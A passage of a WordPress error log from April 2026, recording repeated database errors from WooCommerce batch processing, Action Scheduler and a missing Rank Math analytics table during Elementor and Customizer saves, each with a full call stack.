WHERE 1=1 AND a.hook='wc_schedule_pending_batch_processes' AND a.status IN ('in-progress', 'pending') LIMIT 0, 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, call_user_func, as_has_scheduled_action, ActionScheduler_Store->query_action, ActionScheduler_DBStore->query_actions [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'wc_pending_batch_processes' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->get_enqueued_processors, get_option [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('action_scheduler_lock_async-request-runner', '69ebe3028f8ed2.11580818|1777066814', 'no') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [24-Apr-2026 21:44:56 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1289 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->_publish_changeset_values, WP_Customize_Setting->save, WP_Customize_Nav_Menu_Item_Setting->update, wp_update_nav_menu_item, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:44:57 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1288 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:44:57 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1288 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:53:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_inline-save'), WP_Hook->do_action, WP_Hook->apply_filters, wp_ajax_inline_save, edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 21:55:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1113 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:59:00 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1275 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:59:01 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1275 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:20:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1275 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:20:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1275 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:20:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:20:35 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1291 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:20:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:20:37 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1292 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:20:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:20:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1293 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:23:59 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1294 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:23:59 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1294 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:24:00 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1294 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:26:21 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:26:21 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1295 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:26:22 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:26:22 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1296 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:26:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:26:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1297 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:32:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:32:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1298 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:32:19 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:32:19 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1299 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 22:32:20 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 22:32:20 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1300 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:01:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:01:49 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:01:50 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, 